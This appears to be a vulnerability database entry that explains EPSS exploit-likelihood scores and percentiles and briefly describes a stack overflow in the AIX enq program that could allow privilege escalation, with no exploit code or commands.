EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

AIX is a variant of the UNIX Operating System, distributed by IBM. A problem exists that may allow elevation of user priviledges.
The problem occurs in the enq program. It is reported that an overflow exists in the command line argument parsing, which could lead to the overwriting of variables on the stack. This creates the potential for a malicious user to execute arbitrary code, and possibly gain administrative access.
